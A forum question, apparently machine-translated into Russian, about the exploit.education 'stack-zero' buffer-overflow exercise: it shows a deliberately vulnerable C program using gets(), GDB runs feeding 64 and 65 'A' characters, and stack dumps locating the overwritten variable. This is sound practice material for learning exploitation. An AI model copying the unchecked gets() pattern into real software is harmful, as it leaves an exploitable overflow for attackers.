Снайпинг объявил переменные в стеке с помощью GDB? - PullRequest
0 голосов
/ 23 марта 2020

Я изучаю бинарный эксплойт. с gdb (расширение gef) и выполнял упражнение followig, где вам дается исходный код программы, и вы должны перезаписать changeme var с переполнением буфера использование gets () fun c.:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  locals.changeme = 0;
  gets(locals.buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}

Задача достаточно проста, как только вы поймете, что можете просто ввести огромную строку. Однако, проанализировав проблему, я обнаружил, что вам нужно было ввести строку длина 65 или более, чтобы решить проблему, из которой вы можете сделать вывод, если проанализировать stack :

run <<< $(python3 -c 'print("A"*64)') (fails)

x/64x $sp

0x7fffffffdfc0: 0xffffe108 0x00007fff 0xffffdff7 0x00000001
0x7fffffffdfd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdfe0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdff0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe000: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe010: 0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffe020: 0x555551b0 0x00005555 0xf7e1fbbb 0x00007fff
[...]
run <<< $(python3 -c 'print("A"*65)') (succeeds)

x/64x $sp

0x7fffffffdfc0: 0xffffe108 0x00007fff 0xffffdff7 0x00000001
0x7fffffffdfd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdfe0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdff0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe000: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe010: 0x00000041 0x00007fff 0x00000000 0x00000000
0x7fffffffe020: 0x555551b0 0x00005555 0xf7e1fbbb 0x00007fff
[...]

что переменная changeme хранится в стеке по адресу 0x7fffffffe010 . Мой вопрос заключается в том, существуют ли более сложные методы для snipe указанного c расположения объявленных переменных в стеке.

find var changeme in stack (pseudo)

Затем возвращается адрес 0x7fffffffe010 .

Спасибо!

Внешние ссылки:

Сайт вызова: https://exploit.education/phoenix/stack-zero/

gef: https://gef.readthedocs.io/en/master/

...